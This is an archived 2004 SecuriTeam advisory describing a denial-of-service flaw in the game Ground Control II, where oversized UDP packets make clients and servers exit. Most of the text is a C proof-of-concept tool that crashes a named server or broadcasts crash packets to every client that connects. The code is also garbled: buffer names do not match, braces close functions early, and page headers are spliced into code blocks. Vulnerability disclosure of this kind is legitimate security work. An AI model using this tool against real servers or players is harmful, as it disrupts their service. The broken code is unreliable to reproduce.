

[NT] Ground Control II Broadcast Forced Exit (DoS)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0097.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/30/04

To: list@securiteam.com

Date: 30 Aug 2004 16:59:42 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

Ground Control II Broadcast Forced Exit (DoS)

SUMMARY

<<http://www.groundcontrol2.com>> Ground Control II is a futuristic strategy game developed by Massive Entertainment (<http://www.massive.se>) and released in June 2004.

Due to a coding error, both client and server are vulnerable to a simple attack that will cause them to exit when receiving a sufficiently long packet.

DETAILS

Vulnerable Systems:

- * Ground Control II: Operation Exodus

Immune Systems:

- * Ground Control II Massive Entertainment servers

The game automatically exits if it receives a packet bigger than the max supported size (usually 512 bytes) because some instructions check for the socket error "Message too long" and consider it critical.

Securiteam: [NT] Ground Control II Broadcast Forced Exit (DoS)

Both servers and clients are vulnerable, however the problem only affects the clients as a single malicious server is able to automatically (or directly) crash any client in the world so nobody can play online.

Patch Availability:

Only the massively multiplayer online servers are immune to this problem and considered safe. An official patch for the client software hasn't been released yet. An unofficial patch for the dedicated server (version 1.0.0.7) and the demo (version 0.0.8.1) is available at the following URLs:

<<http://alugi.altervista.org/patches/gc2ds-1007-fix.zip>>
<http://alugi.altervista.org/patches/gc2ds-1007-fix.zip>
<<http://alugi.altervista.org/patches/gc2-demo0081-fix.zip>>
<http://alugi.altervista.org/patches/gc2-demo0081-fix.zip>

Proof of Concept:

```
/*
```

```
by Luigi Auriemma
```

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
```

```
#ifdef WIN32
```

```
    #include <winsock.h>
    #include "winerr.h"
```

```
    #define close closesocket
    #define ONESEC 1000
```

```
#else
```

```
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
```

```
    #define ONESEC 1
```

```
#endif
```

```
#define VER "0.1"
```

```
#define PORT 42001
```

```
#define BUFFSZ 2048
```

```
#define BOOMSZ 1024 // 513 is enough
```

```
#define TIMEOUT 3
```

```
#define INFO "\x58\x00\x00\x00" /* build */ \
```

```
    "\x52\x00" /* protocol */ \
```

```
    "\x0a\x00\x00" /* gameinfo */
```

```
    /* this packet is not important, you can also use random data */
```

Securiteam: [NT] Ground Control II Broadcast Forced Exit (DoS)

```
void show_gc2info(u_char *data, int len);
void unicode2char(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
        len,
        psz,
        on = 1,
        type,
        doubt = 0;
    u_short port = PORT;
    u_char buff[BUFSZ];

    setbuf(stdout, NULL);

    fputs("\n"
        "Ground Control <= 1.0.0.7 server/client crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <attack> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " c = broadcast clients crash\n"
            " s = server crash (can be also directly used versus a client)\n"
            " You must add the IP or the hostname of the server after the
's'.\n"
            "\n"
            "Some usage examples:\n"
            " gc2boom c listens on port %d for clients\n"
            " gc2boom c 1234 listens on port 1234\n"
            " gc2boom s 192.168.0.1 tests the server 192.168.0.1 on port %d\n"
            " gc2boom s codserver 1234 tests the server codserver on port
1234\n"
            "\n", argv[0], PORT, PORT, PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
}
```

Securiteam: [NT] Ground Control II Broadcast Forced Exit (DoS)

```
type = argv[1][0];
if(type == 's') {
    if(!argv[2]) {
        fputs("\n"
            "Error: you must specify the server IP or hostname.\n"
            " Example: gc2boom s localhost\n"
            "\n", stdout);
        exit(1);
    }
    peer.sin_addr.s_addr = resolv(argv[2]);
    if(argc > 3) port = atoi(argv[3]);
    printf("\n- Target %s:%hu\n\n",
        inet_ntoa(peer.sin_addr),
        port);
} else if(type == 'c') {
    peer.sin_addr.s_addr = INADDR_ANY;
    if(argc > 2) port = atoi(argv[2]);
    printf("\n- Listening on port %d\n", port);
} else {
    fputs("\n"
        "Error: Wrong type of attack.\n"
        " You can choose between 2 types of attacks, versus clients with 'c'
or\n"
        " versus servers with 's'\n"
        "\n", stdout);
    exit(1);
}

peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(type == 's') {
    fputs("- Request informations\n", stdout);
    if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
    < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\n"
            "Alert: socket timeout, probably the server is not online or the
port you have\n"
            " chosen is not exact.\n"
            " Check the \"unreliableport\" value in the server's
informations.\n"
            " This tool now continue the attack\n", stdout);
        doubt = 1;
    } else {
        len = recvfrom(sd, buff, BUFSZ, 0, NULL, NULL);
```

Securiteam: [NT] Ground Control II Broadcast Forced Exit (DoS)

```
if(len < 0) std_err();
show_gc2info(buff, len);
}

memset(buff, 0x00, BOOMSZ);
fputs("- Send BOOM packet\n", stdout);
if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

fputs("- Wait one second for an exact check\n", stdout);
sleep(ONESEC);

fputs("- Check if server is vulnerable\n", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(doubt) {
    fputs("\nI can't say if the host is vulnerable, check it
manually\n\n", stdout);
} else {
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
}
} else {
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("Clients:\n", stdout);
while(1) {
    len = recvfrom(sd, buff, BUFSZ, 0, (struct sockaddr *)&peer, &psz);
    if(len < 0) std_err();
    buff[len] = 0x00;

    printf("%16s:%hu -> %s\n",
        inet_ntoa(peer.sin_addr),
        ntohs(peer.sin_port),
        buff);

    memset(buff, 0x00, BOOMSZ);
    if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
}
}

close(sd);
return(0);
```

```

}

void show_gc2info(u_char *data, int len) {
    u_char *ptr;
    int cp;

    printf("\n Build: %d", *(u_short *)data);
    printf("\n Protocol: %d", *(u_short *)(data + 4));
    printf("\n Gameinfo: %d", *(u_short *)(data + 6));
    ptr = data + 9;
    fputs("\n Server name: ", stdout);
    unicode2char(ptr + 1, *ptr);
    fwrite(ptr + 1, 1, *ptr, stdout);
    ptr += (*ptr << 1) + 1;
    fputs("\n Map: ", stdout);
    ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
    fputs("\n External IP: ", stdout);
    ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
    ptr += 4;
    cp = *ptr++;
    printf("\n Current players: %d", cp);
    printf("\n Max players: %d", *ptr++);
    printf("\n ????: %s", *ptr++ ? "true" : "false");
    printf("\n Dedicated: %s", *ptr++ ? "true" : "false");
    printf("\n Password: %s", *ptr++ ? "true" : "false");
    ptr += 5;
    while(cp--) {
        fputs("\n Player: ", stdout);
        unicode2char(ptr + 1, *ptr);
        fwrite(ptr + 1, 1, *ptr, stdout);
        ptr += (*ptr << 1) + 1 + 6;
    }
    fputs("\n\n", stdout);
}

```

```

void unicode2char(u_char *data, int len) {
    u_char *out = data;

    while(len--) {
        *out++ = *data++;
        data++;
    }
}

```

```

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
}

```

Securiteam: [NT] Ground Control II Broadcast Forced Exit (DoS)

```
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@autistici.org>> Luigi Auriemma.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.